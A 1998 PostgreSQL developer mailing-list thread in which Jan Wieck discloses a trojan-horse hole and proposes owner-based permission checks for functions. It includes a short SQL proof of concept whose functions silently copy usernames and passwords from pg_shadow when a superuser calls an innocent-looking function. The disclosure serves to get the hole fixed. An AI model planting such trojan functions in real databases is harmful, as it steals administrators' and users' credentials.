Thread

1. Security again

   Jan Wieck <jwieck@debis.com> — 1998-02-25T10:04:20Z

   Hi,
   
       while   playing  around  with  the  new  view  permissions  I
       discovered a security hole. It's an old  one  (checked  under
       6.2.1  and it was already there - so it's not from new code).
       It's a trojan horse.
   
       Now I know why commercial RDBMS execute PL  procedures  under
       the  permissions of their owner. We must switch to that model
       too in the future.
   
       Having a table revoked from public like pg_shadow now a  user
       creates some functions.
   
           create function f1 () returns bool as '
               select nameeq(getpgusername(), ''pgsql'') as ret;
               ' language 'sql';
   
           create function f2 () returns bool as '
               insert into mypwd select usename, passwd from pg_shadow;
               select ''f''::bool as ret;
               ' language 'sql';
   
           create function overpaid (EMP) returns bool as '
               select 1 as x where f1() and f2();
               select $1.salary > 17000 as ret;
               ' language 'sql';
   
       Since  f1() only returns true if the current user is 'pgsql',
       f2() will never  get  evaluated  if  a  non  superuser  calls
       overpaid().   So  overpaid()  will work as expected for users
       and superusers.  But if  ever  called  by  'pgsql',  it  will
       silently  copy the user names and plain passwords into mypwd.
   
       If we ever open the rule system or views to  ordinary  users,
       they  could  arrange  that such a function construct would be
       executed on a simple SELECT from one  of  their  tables.  And
       f1() could be smarter and return true if any superuser or the
       table owner is the current user.
   
       All this can also be done with triggers. So there cannot be a
       trusted  procedural  language  as  long  as  we  don't have a
       uid/euid model where functions, trigger procedures  and  rule
       actions   get   checked  against  their  owner.  The  skipAcl
       implemented now for views is a  step  forward  but  it  isn't
       enough.
   
       I  think  this  is  far too much for 6.3. But I would like to
       work on it for 6.4 so we can grant rule  creation  (including
       views) to users someday.
   
   
   Until later, Jan
   
   --
   
   #======================================================================#
   # It's easier to get forgiveness for being wrong than for being right. #
   # Let's break this rule - forgive me.                                  #
   #======================================== jwieck@debis.com (Jan Wieck) #
   
   
   
   

2. Re: [HACKERS] Security again

   Marc Fournier <scrappy@hub.org> — 1998-02-25T13:02:53Z

   On Wed, 25 Feb 1998, Jan Wieck wrote:
   
   >     I  think  this  is  far too much for 6.3. But I would like to
   
   	You can say that again :)